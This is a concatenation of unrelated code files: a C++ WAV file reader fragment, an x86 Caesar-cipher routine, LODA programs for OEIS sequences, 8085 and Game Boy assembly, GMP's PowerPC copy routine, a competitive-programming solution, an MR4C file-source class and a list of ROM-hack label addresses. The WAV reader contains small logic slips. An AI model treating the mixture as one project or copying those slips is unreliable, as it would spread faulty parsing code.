exit(EXIT_FAILURE);
}
};
void WAVReader::load_fmt_subchunk(std::shared_ptr<std::ifstream> file) {
char file_fmt_id[5];
uint32_t file_fmt_size;
uint16_t file_fmt_audio_format;
uint16_t file_fmt_num_channels;
uint32_t file_fmt_sample_rate;
uint32_t file_fmt_byte_rate;
uint16_t file_fmt_block_align;
uint16_t file_fmt_bit_depth;
std::cout << "\nReading the 'fmt' subchunk..." << std::endl;
// Checks the fmt subchunk ID
file->read(file_fmt_id, sizeof(file_fmt_id) - 1);
file_fmt_id[sizeof(file_fmt_id) - 1] = '\0';
if (strncmp(file_fmt_id, "fmt", sizeof(file_fmt_id) - 2) == 0) {
std::cout << "fmt subchunk ID: Ok." << std::endl;
strcpy(this->chunk_id, file_fmt_id);
} else {
std::cerr << "Error: Invalid fmt subchunk ID." << std::endl;
exit(EXIT_FAILURE);
}
// Gets the fmt subchunk size and checks the audio encoding
file->read((char*) &file_fmt_size, sizeof(file_fmt_size));
if (file_fmt_size == 16) {
std::cout << "fmt subchunk size: Ok (" << file_fmt_size << " bytes)." << std::endl;
this->fmt_subchunk_size = file_fmt_size;
} else {
std::cerr << "Error: Bad encoding, only PCM encoded wav audio files are currently supported." << std::endl;
exit(EXIT_FAILURE);
}
// Checks the audio format
file->read(reinterpret_cast<char *> (&file_fmt_audio_format), sizeof(file_fmt_audio_format));
if (file_fmt_audio_format == 1) {
std::cout << "Audio format: Ok." << std::endl;
this->audio_format = file_fmt_audio_format;
} else {
std::cerr << "Error: Bad audio format, only linear PCM encoded wav audio files are currently supported."
<< std::endl;
exit(EXIT_FAILURE);
}
// Gets the number of channels
file->read(reinterpret_cast<char *> (&file_fmt_num_channels), sizeof(file_fmt_num_channels));
if (file_fmt_num_channels == 1 || file_fmt_num_channels == 2) {
if (file_fmt_num_channels == 1) {
std::cout << "Number of channels: 1 (mono)" << std::endl;
} else {
std::cout << "Number of channels: 2 (stereo)" << std::endl;
}
this->num_channels = file_fmt_num_channels;
} else {
std::cerr << "Error: Bad number of channels, only mono and stereo audio files are currently supported."
<< std::endl;
exit(EXIT_FAILURE);
}
// Gets the sample rate
file->read(reinterpret_cast<char *> (&file_fmt_sample_rate), sizeof(file_fmt_sample_rate));
if (file_fmt_sample_rate == 44100 || file_fmt_sample_rate == 48000) {
std::cout << "Sample rate: Ok (" << file_fmt_sample_rate << " Hz)." << std::endl;
this->sample_rate = file_fmt_sample_rate;
} else {
std::cerr << "Error: Bad sample rate, only audio files sampled at 44100 or 48000 Hz are currently supported."
<< std::endl;
exit(EXIT_FAILURE);
}
// Gets the byte rate
file->read(reinterpret_cast<char *> (&file_fmt_byte_rate), sizeof(file_fmt_byte_rate));
// Gets the block alignment
file->read(reinterpret_cast<char *> (&file_fmt_block_align), sizeof(file_fmt_block_align));
// Gets the size of each sample (in bits)
file->read(reinterpret_cast<char *> (&file_fmt_bit_depth), sizeof(file_fmt_bit_depth));
// Checks the byte rate
if (file_fmt_byte_rate ==
(file_fmt_sample_rate * file_fmt_num_channels * (file_fmt_bit_depth / 8))) {
std::cout << "Byte rate: Ok (" << file_fmt_byte_rate << " bytes)." << std::endl;
this->byte_rate = file_fmt_byte_rate;
} else {
std::cerr << "Error: Bad byte rate" << std::endl;
exit(EXIT_FAILURE);
}
// Checks the block alignment
if (file_fmt_block_align == (file_fmt_num_channels * (file_fmt_bit_depth / 8))) {
std::cout << "Block alignment: Ok (" << file_fmt_block_align << " bytes)." << std::endl;
this->byte_rate = file_fmt_byte_rate;
} else {
std::cerr << "Error: Bad block alignment" << std::endl;
exit(EXIT_FAILURE);
}
// Checks the bit depth
if (file_fmt_bit_depth % 8 == 0) {
std::cout << "Bit Depth: Ok (" << file_fmt_bit_depth << " bits)." << std::endl;
this->bit_depth = file_fmt_bit_depth;
} else {
std::cerr << "Error: Invalid bit depth" << std::endl;
exit(EXIT_FAILURE);
}
};
void WAVReader::load_data_subchunk(std::shared_ptr<std::ifstream> file) {
char file_data_id[5];
uint32_t file_data_size;
std::cout << "\nReading the 'data' subchunk..." << std::endl;
// Checks the data sbuchunk ID
file->read(file_data_id, sizeof(file_data_id) - 1);
file_data_id[sizeof(file_data_id) - 1] = '\0';
if (strncmp(file_data_id, "data", sizeof(file_data_id)) == 0) {
std::cout << "data subchunk ID: Ok." << std::endl;
strcpy(this->data_subchunk_id, file_data_id);
} else {
std::cerr << "Error: Invalid 'data' subchunk ID." << std::endl;
exit(EXIT_FAILURE);
}
// Gets the data subchunk size
file->read(reinterpret_cast<char *> (&file_data_size), sizeof(file_data_size));
if (file_data_size >= 0) {
std::cout << "data subchunk size: Ok (" << file_data_size << " bytes)." << std::endl;
this->data_subchunk_size = file_data_size;
} else {
std::cerr << "Error: Bad 'data' subchunk size." << std::endl;
exit(EXIT_FAILURE);
}
float duration = this->data_subchunk_size / this->byte_rate;
this->audio_duration.minutes = (int) (duration / 60);
this->audio_duration.seconds = (int) duration - (this->audio_duration.minutes * 60);
};
void WAVReader::load_data(std::shared_ptr<std::ifstream> file) {
int current_file_chunk = 0;
// Initializes audio buffer chunk size to be equal to the file byte rate
this->audio_buffer_chunk_size = this->byte_rate;
while (file->good() && !file->eof()) {
if (!this->is_audio_buffer_ready || this->audio_buffer_chunks[current_file_chunk].is_written) {
// Allocates memory for the buffered chunks
this->audio_buffer_chunks[current_file_chunk].data = (BYTE *) malloc(this->audio_buffer_chunk_size);
file->read(reinterpret_cast<char *> (this->audio_buffer_chunks[current_file_chunk].data),
this->audio_buffer_chunk_size);
this->audio_buffer_chunks[current_file_chunk].size = file->gcount() * sizeof(BYTE);
this->audio_buffer_chunks[current_file_chunk].is_written = FALSE;
this->audio_buffer_chunks[current_file_chunk].is_eof = file->eof();
if (!this->is_playback_started && (current_file_chunk == (MAX_AUDIO_BUFFER_CHUNKS - 1) || this->audio_buffer_chunks[current_file_chunk].is_eof)) {
this->is_audio_buffer_ready = TRUE;
this->cv.notify_one();
}
current_file_chunk += 1;
if (current_file_chunk == MAX_AUDIO_BUFFER_CHUNKS) {
current_file_chunk = 0;
}
} else {
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
file->close();
}
bool WAVReader::get_chunk(BYTE **chunk, uint32_t &chunk_size) {
bool stop = this->audio_buffer_chunks[this->current_audio_buffer_chunk].is_eof;
std::unique_lock<std::mutex> lck(this->mtx);
while (!this->is_audio_buffer_ready) {
this->cv.wait(lck);
}
while (this->audio_buffer_chunks[this->current_audio_buffer_chunk].data == nullptr) {
std::cout << "\nINFO: Writer blocked, waiting for new data to be loaded" << std::endl;
std::this_thread::sleep_for(std::chrono::milliseconds(500));
}
if (this->is_playback_started == FALSE) {
this->is_playback_started = TRUE;
}
*chunk = (BYTE *) malloc(this->audio_buffer_chunks[this->current_audio_buffer_chunk].size);
chunk_size = this->audio_buffer_chunks[this->current_audio_buffer_chunk].size;
memcpy(*chunk, this->audio_buffer_chunks[this->current_audio_buffer_chunk].data,
this->audio_buffer_chunks[this->current_audio_buffer_chunk].size);
free(this->audio_buffer_chunks[this->current_audio_buffer_chunk].data);
this->audio_buffer_chunks[this->current_audio_buffer_chunk].is_written = TRUE;
this->current_audio_buffer_chunk += 1;
if (this->current_audio_buffer_chunk == MAX_AUDIO_BUFFER_CHUNKS) {
// Reinitializes the current audio buffer chunk so it points to the first chunk of the audio buffer
this->current_audio_buffer_chunk = 0;
}
return stop;
} |
;
; Create an implementation of the rotational cipher, also sometimes called the
; Caesar cipher.
;
; Parameters:
; rdi - text
; rsi - shift_key
; rdx - buffer
;
section .text
global rotate
rotate:
mov rcx, rdx ; Save buffer
cmp byte [rdi], 0 ; Check if text is an empty string
je .loop_end ; If empty, skip loop
.loop_start:
movzx eax, byte [rdi] ; Read char from text
mov edx, eax ; Save char
lea r8d, [rax - 'a']
cmp r8d, 26 ; Check if char is lowercase
jae .is_upper ; If not, check if uppercase
mov r8d, 'a' ; Save 'a'
jmp .rot
.is_upper:
lea r8d, [rax - 'A']
cmp r8d, 26 ; Check if char is uppercase
jae .next ; If not, process next char
mov r8d, 'A' ; Save 'A'
.rot:
sub eax, r8d ; Subtract 'a' or 'A' from char
add eax, esi ; Add shift_key
cdq ; Sign-extend eax into edx
mov r9d, 26
idiv r9d ; Divide by 26
add edx, r8d ; Add 'a' or 'A' to remainder
.next:
mov byte [rcx], dl ; Store result in buffer
inc rcx ; Advance buffer to next char
inc rdi ; Advance text to next char
cmp byte [rdi], 0 ; See if we reached end of text
jne .loop_start ; If chars remain, loop back
.loop_end:
mov byte [rcx], 0 ; Null-terminate buffer
ret
|
; A072674: 3^n+2*2^n-3.
; 0,4,14,40,110,304,854,2440,7070,20704,61094,181240,539630,1610704,4815734,14414440,43177790,129402304,387944774,1163310040,3488881550,10464547504,31389448214,94159956040,282463090910,847355718304
mov $2,6
lpb $0,1
sub $0,1
add $3,$2
sub $3,4
add $1,$3
mul $1,2
mov $2,$3
mul $2,2
add $3,1
lpe
|
; A260415: Expansion of f(x, x^2) * f(x^4, x^8) in powers of x where f(,) is Ramanujan's general theta function.
; Submitted by Christian Krause
; 1,1,1,0,1,2,1,1,1,2,1,1,1,1,0,2,1,0,0,1,2,1,2,1,0,1,2,1,1,1,3,0,1,1,1,3,0,0,0,1,2,0,1,2,1,0,1,0,2,1,2,1,0,1,1,3,0,1,0,1,3,2,1,2,0,2,0,1,1,0,2,1,1,0,2,1,0,2,1,1,0,1,1,1,0,2,1,0,2,1,2,0,1,1,0,2,1,1,1,1
mul $0,24
add $0,5
seq $0,4018 ; Theta series of square lattice (or number of ways of writing n as a sum of 2 squares). Often denoted by r(n) or r_2(n).
div $0,8
|
; A160746: a(n) = A151566(n)*4.
; 0,4,8,16,24,32,40,56,72,80,88,104,120,136,152,184,216,224,232,248,264,280,296,328,360,376,392,424,456,488,520,584,648,656,664,680,696,712,728,760,792,808,824,856,888,920,952,1016,1080,1096,1112,1144,1176,1208,1240
mov $20,$0
mov $22,$0
lpb $22,1
mov $0,$20
sub $22,1
sub $0,$22
mov $16,$0
mov $18,2
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
add $0,$18
sub $0,1
mov $13,$0
mov $15,$0
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $10,$0
mov $12,$0
add $12,1
lpb $12,1
mov $0,$10
sub $12,2
sub $0,$12
mov $1,1
mul $1,$0
mov $4,$0
lpb $2,1
lpb $4,1
div $1,2
sub $4,$1
lpe
mov $0,$4
sub $2,1
lpe
mov $2,2
mov $4,2
pow $4,$0
lpe
add $14,$4
lpe
mov $1,$14
mul $1,3
mov $19,$18
lpb $19,1
mov $17,$1
sub $19,1
lpe
lpe
lpb $16,1
mov $16,0
sub $17,$1
lpe
mov $1,$17
mul $1,2
div $1,12
mul $1,4
add $21,$1
lpe
mov $1,$21
|
; A005131: A generalized continued fraction for Euler's number e.
; 1,0,1,1,2,1,1,4,1,1,6,1,1,8,1,1,10,1,1,12,1,1,14,1,1,16,1,1,18,1,1,20,1,1,22,1,1,24,1,1,26,1,1,28,1,1,30,1,1,32,1,1,34,1,1,36,1,1,38,1,1,40,1,1,42,1,1,44,1,1,46,1,1,48,1,1,50,1,1,52,1,1,54,1,1,56,1,1,58,1,1,60,1,1,62,1,1,64,1,1
mul $0,2
mov $2,2
sub $2,$0
sub $0,2
add $2,3
dif $2,3
add $0,$2
div $0,2
|
; Starter Point
#begin E000h
; Locate code in this address
#org E000h
; Set a value in the Accumulator
MVI A,EAh
; Set 0Fh mask in B Register and
; set F0h mask in C Register
LXI B,0FF0h
; Binary AND with Accumulator
ANI 8Fh ; 8Ah
ANA B ; 0Ah
; Binary OR with Accumulator
ORI 44h ; 4Eh
ORA C ; FEh
; Binary XOR with Accumulator
XRI FFh ; 01h
XRA A ; 00h
; Stop the program
HLT
; End Code Section
#end
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.4 #12246 (Mac OS X x86_64)
;--------------------------------------------------------
.module scene_4
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _scene_4
.globl ___bank_scene_4
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _INITIALIZED
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE_255
.area _CODE_255
___bank_scene_4 = 0x00ff
_scene_4:
.db #0xa1 ; 161
.db #0x12 ; 18
.db #0x01 ; 1
.db #0x00 ; 0
.db #0x05 ; 5
.db #0x00 ; 0
.db #0x00 ; 0
.byte ___bank_spritesheet_12
.dw _spritesheet_12
.byte ___bank_background_2
.dw _background_2
.byte ___bank_scene_4_collisions
.dw _scene_4_collisions
.byte ___bank_palette_2
.dw _palette_2
.byte ___bank_palette_4
.dw _palette_4
.byte ___bank_script_s4_init
.dw _script_s4_init
.byte #0x00
.dw #0x0000
.byte #0x00
.dw #0x0000
.byte #0x00
.dw #0x0000
.byte #0x00
.dw #0x0000
.byte #0x00
.dw #0x0000
.byte ___bank_scene_4_triggers
.dw _scene_4_triggers
.byte #0x00
.dw #0x0000
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x00 ; 0
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.db 0x00
.area _INITIALIZER
.area _CABS (ABS)
|
dnl PowerPC-64 mpn_copyi.
dnl Copyright 2004, 2005 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C POWER3/PPC630 1
C POWER4/PPC970 1
C POWER5 ?
C POWER6 ?
C POWER7 1.4
C INPUT PARAMETERS
C rp r3
C up r4
C n r5
ASM_START()
PROLOGUE(mpn_copyi)
rldic. r0, r5, 3, 59 C r0 = (r5 & 3) << 3; cr0 = (n == 4t)?
cmpldi cr6, r0, 16 C cr6 = (n cmp 4t + 2)?
addi r5, r5, 4 C compute...
ifdef(`HAVE_ABI_mode32',
` rldicl r5, r5, 62,34', C ...branch count
` rldicl r5, r5, 62, 2') C ...branch count
mtctr r5
add r4, r4, r0 C offset up
add r3, r3, r0 C offset rp
beq cr0, L(L00)
blt cr6, L(L01)
beq cr6, L(L10)
b L(L11)
ALIGN(16)
L(oop): ld r6, -32(r4)
std r6, -32(r3)
L(L11): ld r6, -24(r4)
std r6, -24(r3)
L(L10): ld r6, -16(r4)
std r6, -16(r3)
L(L01): ld r6, -8(r4)
std r6, -8(r3)
L(L00): addi r4, r4, 32
addi r3, r3, 32
bdnz L(oop)
blr
EPILOGUE()
|
; A145911: a(n) = A145909(n)/8.
; 0,1,1,2,10,5,7,28,4,5,55,22,26,91,35,40,136,17,19,190,70,77,253,92,100,325,39,42,406,145,155,496,176,187,595,70,74,703,247,260,820,287,301,946,110,115,1081,376,392,1225,425,442,1378
sub $1,$0
bin $1,2
dif $1,3
dif $1,3
mov $0,$1
|
#include <bits/stdc++.h>
// #include <atcoder/all>
// using namespace atcoder;
typedef long long ll;
typedef long double ld;
#define rep(i,n) for(ll i=0;i<(n);i++)
#define repr(i,n) for(ll i=(n-1);i>=0;i--)
#define all(x) x.begin(),x.end()
#define br cout << '\n';
using namespace std;
const long long INF = 8e18;
const long long MOD = 1e9+7;
using Graph = vector<vector<ll>>;
template<class T> inline bool chmin(T &a, T b) { if(a > b){ a = b; return true;} return false;}
template<class T> inline bool chmax(T &a, T b) { if(a < b){ a = b; return true;} return false;}
ll ceilll(ll a, ll b) {return (a + b-1) / b;} // if(a%b != 0) (a/b) + 1
ll get_digit(ll a) {ll digit = 0; while(a != 0){a /= 10; digit++;} return digit;} // a != 0
template<typename T> void vecdbg(vector<T>& v){ rep(i, v.size()){cerr << v[i] << ' ';} cerr << '\n';}
template<typename T> void vecvecdbg(vector<vector<T>>& v){ rep(i, v.size()){rep(j, v[i].size()){cerr << v[i][j] << ' ';} cerr << '\n';}}
ll POW(ll a, ll n){ ll res = 1; while(n > 0){ if(n & 1){ res = res * a; } a *= a; n >>= 1; } return res; }
using P = pair<ll, ll>;
const double PI = acos(-1);
// 0 false, 1 true
// string number to int : -48 or - '0'
// a to A : -32
// ceil(a) 1.2->2.0
// c++17 g++ -std=c++17 a.cpp
// global vector -> 0 initialization
// DONT FORGET TO INTIALIZE
// The type of GRID is CHAR. DONT USE STRING
// If the result in local and judge is different, USE CODETEST!!
// (a * b)over flow? if(a > INF / b){ /* overflow */}
//https://atcoder.jp/contests/abc172/submissions/14765570
//20200724
template<long long mod>
struct ModInt
{
long long x;
ModInt () : x(0) {}
ModInt (long long x) : x(x >= 0 ? x % mod : (mod - -x % mod) % mod) {}
ModInt &operator += (const ModInt &p){
if ((x += p.x) >= mod) x -= mod;
return *this;
}
ModInt &operator -= (const ModInt &p) {
if ((x += mod - p.x) >= mod) x -= mod;
return *this;
}
ModInt &operator *= (const ModInt &p) {
x = (long long) x * p.x % mod;
return *this;
}
ModInt &operator /= (const ModInt &p) {
*this *= p.inverse();
return *this;
}
ModInt &operator ^= (long long p) {
ModInt res = 1;
for (; p; p >>= 1) {
if (p & 1) res *= *this;
*this *= *this;
}
return *this = res;
}
ModInt operator - () const { return ModInt(-x); }
ModInt operator + (const ModInt &p) const { return ModInt(*this) += p; }
ModInt operator - (const ModInt &p) const { return ModInt(*this) -= p; }
ModInt operator * (const ModInt &p) const { return ModInt(*this) *= p; }
ModInt operator / (const ModInt &p) const { return ModInt(*this) /= p; }
ModInt operator ^ (long long p) const { return ModInt(*this) ^= p; }
bool operator == (const ModInt &p) const { return x == p.x; }
bool operator != (const ModInt &p) const { return x != p.x; }
explicit operator long long() const { return x; }
ModInt &operator = (const long long p) { x = p; return *this;}
ModInt inverse() const {
long long a = x, b = mod, u = 1, v = 0, t;
while (b > 0) {
t = a / b;
a -= t * b;
std::swap(a, b);
u -= t * v;
std::swap(u, v);
}
return ModInt(u);
}
friend std::ostream & operator << (std::ostream &stream, const ModInt<mod> &p) {
return stream << p.x;
}
friend std::istream & operator >> (std::istream &stream, ModInt<mod> &a) {
long long x;
stream >> x;
a = ModInt<mod>(x);
return stream;
}
};
template<long long mod> struct MComb {
using mint = ModInt<mod>;
std::vector<mint> fact;
std::vector<mint> inv;
MComb (long long n) { // O(n + log(mod))
fact = std::vector<mint>(n + 1, 1);
for (long long i = 1; i <= n; i++) fact[i] = fact[i - 1] * mint(i);
inv.resize(n + 1);
inv[n] = fact[n] ^ (mod - 2);
for (long long i = n; i--; ) inv[i] = inv[i + 1] * mint(i + 1);
}
mint ncr(long long n, long r) {
return fact[n] * inv[r] * inv[n - r];
}
mint npr(long n, long r) {
return fact[n] * inv[n - r];
}
//nhr : n : shikiri + 1, r : tamanokazu
mint nhr(long n, long r) {
assert(n + r - 1 < (long long) fact.size());
return ncr(n + r - 1, r);
}
};
template<long long mod> struct MPow {
using mint = ModInt<mod>;
mint modpow(mint a, long long n) {
mint res = 1;
while(n > 0){
if(n & 1){
res = res * a;
}
a = a * a;
n >>= 1;
}
return res;
}
};
typedef ModInt<998244353> mint;
MComb<998244353> com(510000);
MPow<998244353> mpow;
ll N, K;
mint ans = 0;
vector<mint> kaijo(51);
void calc(vector<ll> vec, ll cnt, ll ma){
if(cnt == 0){
map<ll, ll> mp;
mint tmp = 1;
ll now = N;
ll score = 1;
rep(i, vec.size()){
score = lcm(score, vec[i]);
if(vec[i] != 1) tmp *= com.ncr(now, vec[i]) * kaijo[vec[i] - 1];
now -= vec[i];
mp[vec[i]]++;
}
for(auto i: mp){
if(i.first != 1){
tmp /= kaijo[i.second];
}
}
ans += mpow.modpow(score, K) * tmp;
}
for(ll i = min(ma, cnt); i >= 1; i--){
if(cnt - i >= 0){
vec.push_back(i);
calc(vec, cnt - i, i);
vec.pop_back();
}else{
continue;
}
}
}
int main() {
std::cout << std::fixed << std::setprecision(15);
cin >> N >> K;
ll x = 1;
kaijo[0] = 1;
rep(i, 50){
if(i != 0) kaijo[i] = kaijo[i-1] * i;
}
vector<ll> vec;
calc(vec, N, N);
cout << ans << endl;
} |
/**
* Copyright 2014 Google Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <cstdlib>
#include <fstream>
#include <iostream>
#include <stdexcept>
#include <string>
#include <mutex>
#include <log4cxx/logger.h>
#include "dataset/dataset_api.h"
#include "util/util_api.h"
using log4cxx::LoggerPtr;
namespace MR4C {
class LocalDataFileSourceImpl {
friend class LocalDataFileSource;
private:
LoggerPtr m_logger;
std::string m_path;
mutable char* m_bytes;
mutable size_t m_size;
mutable bool m_released;
std::ifstream m_stream;
mutable std::mutex m_mutex;
LocalDataFileSourceImpl(const std::string& path) {
m_path = path;
m_logger = MR4CLogging::getLogger("dataset.LocalDataFileSource");
m_bytes = NULL;
m_size = -1;
m_released = false;
}
std::string getPath() const {
return m_path;
}
char* getFileBytes() const {
std::unique_lock<std::mutex> lock(m_mutex); // Released when out of scope
ensureContent();
return m_bytes;
}
size_t getFileSize() const {
std::unique_lock<std::mutex> lock(m_mutex); // Released when out of scope
ensureSize();
return m_size;
}
virtual size_t read(char* buf, size_t num) {
std::unique_lock<std::mutex> lock(m_mutex); // Released when out of scope
ensureStream();
m_stream.read (buf, num);
return m_stream.gcount();
}
virtual size_t skip(size_t num) {
std::unique_lock<std::mutex> lock(m_mutex); // Released when out of scope
ensureStream();
m_stream.ignore(num);
return m_stream.gcount();
}
void ensureContent() const {
if ( m_bytes==NULL ) {
readFile(true);
m_released = false;
}
}
void ensureSize() const {
if ( m_size==-1 ) {
readFile(false);
m_released = false;
}
}
void ensureStream() {
if ( !m_stream.is_open() ) {
open(m_stream);
m_released = false;
}
}
void readFile(bool readBytes) const {
std::ifstream stream;
open(stream);
stream.seekg(0, std::ios::end);
m_size = stream.tellg();
if ( readBytes ) {
stream.seekg(0, std::ios::beg);
m_bytes = new char[m_size];
stream.read (m_bytes, m_size);
}
close(stream);
}
void open(std::ifstream& stream) const {
stream.open(m_path.c_str(), std::ios::in|std::ios::binary);
if (!stream.is_open()) {
LOG4CXX_ERROR(m_logger, "Couldn't open file [" << m_path << "]");
MR4C_THROW(std::logic_error, "Couldn't open file [" << m_path << "]");
}
stream.exceptions(std::ifstream::badbit);
}
void close(std::ifstream& stream) const {
stream.close();
}
void release() {
std::unique_lock<std::mutex> lock(m_mutex);
if ( m_bytes!=NULL ) {
delete[] m_bytes;
m_bytes=NULL;
}
m_size=-1;
if ( m_stream.is_open() ) {
m_stream.close();
}
m_released=true;
lock.unlock();
}
bool isReleased() const {
return m_released;
}
~LocalDataFileSourceImpl() {
release();
}
};
LocalDataFileSource::LocalDataFileSource(const std::string& path) {
m_impl = new LocalDataFileSourceImpl(path);
}
std::string LocalDataFileSource::getPath() const {
return m_impl->getPath();
}
char* LocalDataFileSource::getFileBytes() const {
return m_impl->getFileBytes();
}
size_t LocalDataFileSource::getFileSize() const {
return m_impl->getFileSize();
}
size_t LocalDataFileSource::read(char* buf, size_t num) {
return m_impl->read(buf, num);
}
size_t LocalDataFileSource::skip(size_t num) {
return m_impl->skip(num);
}
void LocalDataFileSource::release() {
m_impl->release();
}
bool LocalDataFileSource::isReleased() const {
return m_impl->isReleased();
}
LocalDataFileSource::~LocalDataFileSource() {
delete m_impl;
}
}
|
.definelabel reduce_bit_depth_sp,0x083756a0
.definelabel setupCursorMovement,0x08379594
.definelabel clear_rect_ram,0x08376a7e
.definelabel getCharWidthCast,0x08378b2c
.definelabel letterSetup,0x08379d18
.definelabel getPronoun,0x08375820
.definelabel format_file_cc,0x0837a694
.definelabel equipPrint,0x0837c5b8
.definelabel printCastTiles,0x08378842
.definelabel alphabet_setup,0x08379ee8
.definelabel get_tile_number_file_select,0x08378c84
.definelabel statusReadInput,0x0837b980
.definelabel readLumineCharacterName,0x0837daf8
.definelabel PSITargetWindowInput,0x0837d6d4
.definelabel print_character_formatted_buffer,0x08376e24
.definelabel weld_entry_saturn,0x083767f0
.definelabel writeLumineHallText,0x0837dcbc
.definelabel buffer_drawwindow,0x083771d4
.definelabel clearWindowTiles_buffer,0x083771aa
.definelabel setNumber_getLength,0x083775e0
.definelabel shop_print_items,0x0837b2d4
.definelabel copy_name_perm_mem,0x08378de8
.definelabel getPossessive,0x083757b0
.definelabel print_alphabet_buffer,0x08378410
.definelabel wrapper_count_pixels_to_tiles,0x08375980
.definelabel delete_setup,0x0837997c
.definelabel set_background_loaded_names,0x08378da0
.definelabel psiPrint_buffer,0x0837cd04
.definelabel print_window_number_header_string,0x0837637a
.definelabel getSex,0x083757a8
.definelabel printCashWindow,0x08378274
.definelabel format_options_cc,0x083797c4
.definelabel print_letter_in_buffer,0x08376ec2
.definelabel print_blankstr,0x08376ad4
.definelabel print_file_string,0x08378fd8
.definelabel expand_bit_depth,0x08375670
.definelabel get_tile_number_with_offset,0x08375610
.definelabel copyTilesLumine,0x0837d91e
.definelabel print_character,0x08375f94
.definelabel goods_inner_process,0x0837ae30
.definelabel goods_print_items,0x0837ab3c
.definelabel print_blankstr_buffer,0x0837771e
.definelabel initWindow_cursor_buffer,0x083774cc
.definelabel innerEquipInput,0x0837c444
.definelabel load_pixels_overworld_buffer,0x08377730
.definelabel printCastCharacterInMultiTiles,0x08378628
.definelabel get_pointer_jump_back,0x08376db0
.definelabel clear_rect_file,0x08378cd0
.definelabel readCastCharacter,0x08378a74
.definelabel getTilesetDest,0x08378e26
.definelabel handle_first_window,0x08376d08
.definelabel printStatusString,0x0837b64c
.definelabel clear_window,0x08376ab4
.definelabel print_menu_string,0x08376922
.definelabel map_special_character,0x08376578
.definelabel copy_tile_up,0x08376b3c
.definelabel reduce_bit_depth,0x08375684
.definelabel get_tile_number_with_offset_buffer,0x08375656
.definelabel options_setup,0x083797de
.definelabel setPaletteToZero,0x08378eb4
.definelabel printTargetOfAttack,0x0837bcf8
.definelabel print_special_character,0x083759dc
.definelabel print_string_in_buffer,0x08376f04
.definelabel setPaletteToFileWindow,0x08378e7c
.definelabel readStringGive,0x0837b53c
.definelabel draw_window_arrows,0x083766f4
.definelabel setStuffWindow_Graphics,0x08376df4
.definelabel copy_tile,0x08376b00
.definelabel printstr_hlight_edited,0x08376904
.definelabel clear_name_header,0x083766bc
.definelabel encode_ascii,0x083755e6
.definelabel description_setup,0x08379b68
.definelabel copy_tile_up_buffer,0x08377d50
.definelabel get_tile_number_buffer,0x08375628
.definelabel getCharWidthLumine,0x0837dc78
.definelabel print_window_header_string,0x08376324
.definelabel printBattleMenu,0x0837be24
.definelabel printstr_buffer,0x083782c8
.definelabel wrapper_file_string_selection,0x083790f8
.definelabel format_cash_window,0x08376ca8
.definelabel printNumberEquip,0x0837cb98
.definelabel print_character_formatted,0x08375f38
.definelabel copyTilesCast,0x08378820
.definelabel equipReadInput,0x0837c90c
.definelabel clear_window_arrows,0x0837673c
.definelabel print_character_with_callback,0x08375aac
.definelabel writeCastText,0x08378b80
.definelabel printCastCharacter,0x08378900
.definelabel print_windows,0x0837a1a4
.definelabel printLumineTiles,0x0837d940
.definelabel wrapper_name_string,0x0837919e
.definelabel statusWindowNumbers,0x0837bbc4
.definelabel eb_cartridge_palette_change,0x08377a50
.definelabel setPaletteOnAllFile,0x08378ee6
.definelabel format_tile,0x08376544
.definelabel printLumineCharacter,0x0837d9fc
.definelabel clear_rect,0x08376a30
.definelabel printStatusSymbolArrangement,0x0837b610
.definelabel getPCWidthLumine,0x0837dc38
.definelabel print_number_menu,0x08376b62
.definelabel goods_outer_process,0x0837ac10
.definelabel wrapper_copy_string,0x0837924e
.definelabel count_pixels_to_tiles_normal_string,0x0837598e
.definelabel summary_setup,0x0837a078
.definelabel set_names_to_default_background,0x08378d5c
.definelabel getWindow,0x0837708e
.definelabel weld_entry_custom_buffer,0x08376e78
.definelabel print_blankstr_window,0x08376aec
.definelabel give_print,0x0837b438
.definelabel setTilesToBlankLumine,0x0837d934
.definelabel setupCursorAction,0x0837926a
.definelabel PSITargetInput,0x0837cf70
.definelabel clear_window_buffer,0x0837718e
.definelabel copy_name_header,0x083765d4
.definelabel clear_tile_buffer,0x083770ec
.definelabel printLumineCharacterInSingleTiles,0x0837d864
.definelabel printPlayerNameCredits,0x08378598
